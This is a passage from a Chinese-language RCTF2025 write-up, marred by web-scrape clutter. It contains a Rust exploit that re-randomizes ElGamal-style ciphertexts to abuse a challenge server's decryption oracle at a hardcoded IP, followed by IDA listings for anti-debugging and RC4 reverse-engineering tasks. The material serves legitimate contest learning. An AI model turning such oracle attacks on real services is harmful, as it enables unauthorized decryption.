fn&nbsp;main()&nbsp;-> std::io::Result<()> {&nbsp; &nbsp;&nbsp;// 连接远端&nbsp; &nbsp;&nbsp;let&nbsp;host&nbsp;=&nbsp;std::env::args().nth(1).unwrap_or_else(||&nbsp;"1.14.196.78:42601".to_string());&nbsp; &nbsp; let&nbsp;mut&nbsp;sock&nbsp;=&nbsp;TcpStream::connect(host)?;
&nbsp; &nbsp;&nbsp;// 读首行 banner&nbsp; &nbsp; let&nbsp;mut&nbsp;line&nbsp;=&nbsp;String::new();&nbsp; &nbsp; let&nbsp;mut&nbsp;buf&nbsp;=&nbsp;[0u8;&nbsp;4096];&nbsp; &nbsp;&nbsp;// 读到换行即可&nbsp; &nbsp; loop {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;n&nbsp;=&nbsp;sock.read(&mut buf)?;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;n ==&nbsp;0&nbsp;{&nbsp;break; }&nbsp; &nbsp; &nbsp; &nbsp; line.push_str(&String::from_utf8_lossy(&buf[..n]));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;line.contains('\n') {&nbsp;break; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;let&nbsp;line&nbsp;=&nbsp;line.lines().next().unwrap().trim().to_string();
&nbsp; &nbsp;&nbsp;// 拆分 8 段: id|dst|pk|q|c1|c2|c3|enc_flag&nbsp; &nbsp; let&nbsp;mut&nbsp;it&nbsp;=&nbsp;line.split('|');&nbsp; &nbsp;&nbsp;let&nbsp;_id_hex&nbsp;=&nbsp;it.next().expect("id");![image-20251115112007332](RCTF2025-Writeup/image-20251115112007332.png)&nbsp; &nbsp;&nbsp;let&nbsp;_dst_hex&nbsp;=&nbsp;it.next().expect("dst");&nbsp; &nbsp;&nbsp;let&nbsp;pk_hex&nbsp;=&nbsp;it.next().expect("pk");&nbsp; &nbsp;&nbsp;let&nbsp;q_hex&nbsp;&nbsp;=&nbsp;it.next().expect("q");&nbsp; &nbsp;&nbsp;let&nbsp;c1_hex&nbsp;=&nbsp;it.next().expect("c1");&nbsp; &nbsp;&nbsp;let&nbsp;c2_hex&nbsp;=&nbsp;it.next().expect("c2");&nbsp; &nbsp;&nbsp;let&nbsp;c3_hex&nbsp;=&nbsp;it.next().expect("c3");&nbsp; &nbsp;&nbsp;let&nbsp;enc_hex&nbsp;=&nbsp;it.next().expect("enc");&nbsp; &nbsp;&nbsp;assert!(it.next().is_none(),&nbsp;"more parts than expected");
&nbsp; &nbsp;&nbsp;// 反序列化&nbsp; &nbsp; let pk: GT = parse_gt_hex(pk_hex);&nbsp; &nbsp; let q: &nbsp;G2Projective = parse_g2_hex(q_hex);&nbsp; &nbsp; let c1: GT = parse_gt_hex(c1_hex);&nbsp; &nbsp; let c2: G1Projective = parse_g1_hex(c2_hex);&nbsp; &nbsp; let c3: G2Projective = parse_g2_hex(c3_hex);&nbsp; &nbsp; let&nbsp;mut&nbsp;enc&nbsp;=&nbsp;hex::decode(enc_hex).expect("bad enc hex");

&nbsp; &nbsp; let mut delta_u64: u64 =&nbsp;1;&nbsp; &nbsp;&nbsp;let&nbsp;key_hex&nbsp;=&nbsp;loop {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;delta&nbsp;=&nbsp;Fr::from(delta_u64);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;c1p&nbsp;=&nbsp;c1 * pk.pow(delta.into_bigint());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;c2p&nbsp;=&nbsp;c2 + G1Projective::generator() * delta;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;c3p&nbsp;=&nbsp;c3 + q * delta;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;out&nbsp;=&nbsp;format!(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"{}|{}|{}\n",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hex_gt(&c1p),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hex_g1(&c2p),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hex_g2(&c3p),&nbsp; &nbsp; &nbsp; &nbsp; );&nbsp; &nbsp; &nbsp; &nbsp; sock.write_all(out.as_bytes())?;
&nbsp; &nbsp; &nbsp; &nbsp; let&nbsp;mut&nbsp;resp&nbsp;=&nbsp;String::new();&nbsp; &nbsp; &nbsp; &nbsp; sock.read_to_string(&mut resp)?;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;resp&nbsp;=&nbsp;resp.trim();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;resp ==&nbsp;"bad"&nbsp;|| resp ==&nbsp;"no"&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; delta_u64 +=&nbsp;1;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp;resp.to_string();&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; };
&nbsp; &nbsp;&nbsp;let&nbsp;key&nbsp;=&nbsp;hex::decode(key_hex).expect("bad key hex");&nbsp; &nbsp;&nbsp;let&nbsp;enc_len&nbsp;=&nbsp;enc.len();&nbsp; &nbsp;&nbsp;assert!(key.len() >= enc_len);&nbsp; &nbsp; xor_in_place(&mut enc, &key[..enc_len]);&nbsp; &nbsp; println!("{}", String::from_utf8_lossy(&enc));&nbsp; &nbsp; Ok(())}

在exp目录下运行cargo run –release

ounter(lineounter(lineounter(lineounter(lineounter(lineC:\Users\28421\Desktop\exp>cargo run --release&nbsp; &nbsp;Compiling&nbsp;exp&nbsp;v0.1.0&nbsp;(C:\Users\28421\Desktop\exp)&nbsp; &nbsp; Finished&nbsp;`release`&nbsp;profile [optimized] target(s) in&nbsp;1.65s&nbsp; &nbsp; &nbsp;Running&nbsp;`target\release\exp.exe`RCTF{ElGamal-style_re-randomization_attack_still_break_modern_schemes_7ec932b22988}

Reverse

Chaos

签到题，双击exe得到flag

ounter(lineounter(lineHe said that if&nbsp;all&nbsp;the key modifications involved in anti-debugging are identified, the flag can be retrieved.your flag is RCTF{AntiDbg_KeyM0d_2025_R3v3rs3}程序执行完毕，按下任意键退出...

Chaos2

这个题就是用一个被反调试代码动态改动过的 key 做 RC4 解密，把 main 里那 0x80 个字节解出来，得到真正的 flag

主逻辑在 loc_40151D 这一块：

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040151D loc_40151D:.text:0040151D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ebx,&nbsp;22222222h.text:00401522&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax, dword_404018.text:00401527&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp-88h], eax.text:0040152D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;0.text:0040152F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;0.text:00401531&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;offset sub_401130 &nbsp; ; 回调.text:00401536&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call&nbsp;&nbsp; &nbsp;ds:EnumUILanguagesA.text:0040153C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp-194h], eax.text:00401542&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; ecx, dword_40440C &nbsp; ; key 指针放到 [ebp-190h].text:00401548&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp-190h], ecx

sub_401130 是 EnumUILanguagesA 的回调，里面就是反调试 + key 修改。

密文写入栈，地址从 [ebp-84h] 到 [ebp-5]，一共 0x80 字节：

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040154E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-84h],&nbsp;0Fh.text:00401555&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-83h],&nbsp;1Ah.text:0040155C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-82h],&nbsp;8Ah.text:00401563&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-81h],&nbsp;5Ah ;&nbsp;'Z'.text:0040156A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-80h],&nbsp;22h ;&nbsp;'"'.text:0040156E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-7Fh],&nbsp;0ABh.text:00401572&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-7Eh],&nbsp;1Eh.text:00401576&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-7Dh],&nbsp;63h ;&nbsp;'c'.text:0040157A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-7Ch],&nbsp;19h.text:0040157E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-7Bh],&nbsp;5Ah ;&nbsp;'Z'.text:00401582&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-7Ah],&nbsp;87h.text:00401586&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-79h],&nbsp;0F2h.text:0040158A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-78h],&nbsp;0E6h.text:0040158E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-77h],&nbsp;0E9h.text:00401592&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-76h],&nbsp;0D7h.text:00401596&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-75h],&nbsp;0D1h.text:0040159A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-74h],&nbsp;97h.text:0040159E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-73h],&nbsp;0F9h.text:004015A2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-72h],&nbsp;0F8h.text:004015A6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-71h],&nbsp;32h ;&nbsp;'2'.text:004015AA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-70h],&nbsp;5Bh ;&nbsp;'['.text:004015AE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-6Fh],&nbsp;0DEh.text:004015B2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-6Eh],&nbsp;2Dh ;&nbsp;'-'.text:004015B6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-6Dh],&nbsp;0D6h.text:004015BA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-6Ch],&nbsp;0A3h.text:004015BE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-6Bh],&nbsp;4Fh ;&nbsp;'O'.text:004015C2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-6Ah],&nbsp;7Eh ;&nbsp;'~'.text:004015C6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-69h],&nbsp;0CBh.text:004015CA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-68h],&nbsp;61h ;&nbsp;'a'.text:004015CE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-67h],&nbsp;0B2h.text:004015D2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-66h],&nbsp;3Fh ;&nbsp;'?'.text:004015D6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-65h],&nbsp;0BFh.text:004015DA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-64h],&nbsp;0B7h.text:004015DE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-63h],&nbsp;1Bh.text:004015E2&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-62h],&nbsp;0Ah.text:004015E6&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-61h],&nbsp;84h.text:004015EA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-60h],&nbsp;0B3h.text:004015EE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-5Fh],&nbsp;0B4h.text:004015F2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-5Eh],&nbsp;0DEh.text:004015F6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-5Dh],&nbsp;3.text:004015FA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-5Ch],&nbsp;46h ;&nbsp;'F'.text:004015FE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-5Bh],&nbsp;7Bh ;&nbsp;'{'.text:00401602&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-5Ah],&nbsp;83h.text:00401606&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-59h],&nbsp;0F0h.text:0040160A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-58h],&nbsp;0C4h.text:0040160E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-57h],&nbsp;0B3h.text:00401612&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-56h],&nbsp;0ABh.text:00401616&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-55h],&nbsp;7Bh ;&nbsp;'{'.text:0040161A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-54h],&nbsp;29h ;&nbsp;')'.text:0040161E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-53h],&nbsp;0BCh.text:00401622&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-52h],&nbsp;1Fh.text:00401626&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-51h],&nbsp;0FEh.text:0040162A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-50h],&nbsp;8Ah.text:0040162E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-4Fh],&nbsp;79h ;&nbsp;'y'.text:00401632&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-4Eh],&nbsp;26h ;&nbsp;'&'.text:00401636&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-4Dh],&nbsp;0DAh.text:0040163A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-4Ch],&nbsp;8.text:0040163E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-4Bh],&nbsp;1.text:00401642&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-4Ah],&nbsp;85h.text:00401646&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-49h],&nbsp;66h ;&nbsp;'f'.text:0040164A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-48h],&nbsp;7Dh ;&nbsp;'}'.text:0040164E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-47h],&nbsp;0BBh.text:00401652&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-46h],&nbsp;0EEh.text:00401656&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-45h],&nbsp;0Fh.text:0040165A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-44h],&nbsp;89h.text:0040165E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-43h],&nbsp;59h ;&nbsp;'Y'.text:00401662&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-42h],&nbsp;0D4h.text:00401666&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-41h],&nbsp;5Fh ;&nbsp;'_'.text:0040166A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-40h],&nbsp;0ACh.text:0040166E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-3Fh],&nbsp;18h.text:00401672&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-3Eh],&nbsp;0AEh.text:00401676&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-3Dh],&nbsp;0Bh.text:0040167A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-3Ch],&nbsp;4Eh ;&nbsp;'N'.text:0040167E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-3Bh],&nbsp;0F0h.text:00401682&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-3Ah],&nbsp;0B7h.text:00401686&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-39h],&nbsp;5.text:0040168A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-38h],&nbsp;5Ch ;&nbsp;'\'.text:0040168E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-37h], 81h.text:00401692 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-36h], 4.text:00401696 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-35h], 9Fh.text:0040169A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-34h], 0A4h.text:0040169E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-33h], 1Ch.text:004016A2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-32h], 5Dh ; ']'.text:004016A6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-31h], 0A0h.text:004016AA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-30h], 0B9h.text:004016AE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-2Fh], 7.text:004016B2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-2Eh], 92h.text:004016B6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-2Dh], 5Ch ; '\'.text:004016BA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-2Ch], 8Ah.text:004016BE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-2Bh], 53h ; 'S'

最后是 RC4 的逻辑：

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040175A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;80h &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; key 长度&nbsp;0x80.text:0040175F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edx, [ebp-190h] &nbsp; &nbsp; &nbsp;; key 指针 = dword_40440C.text:00401765&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;edx.text:00401766&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;lea &nbsp; &nbsp; eax, [ebp-18Ch] &nbsp; &nbsp; &nbsp;; RC4 state.text:0040176C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;eax.text:0040176D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;sub_4017D0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; RC4 KSA.text:00401772&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; esp,&nbsp;0Ch.text:00401775&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;80h.text:0040177A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lea &nbsp; &nbsp; ecx, [ebp-84h] &nbsp; &nbsp; &nbsp; ; 密文缓冲.text:00401780&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;ecx.text:00401781&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;lea &nbsp; &nbsp; edx, [ebp-18Ch] &nbsp; &nbsp; &nbsp;; RC4 state.text:00401787&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;edx.text:00401788&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; &nbsp;sub_4018A0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; RC4 PRGA + XOR.text:0040178D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; esp,&nbsp;0Ch.text:00401790&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;lea 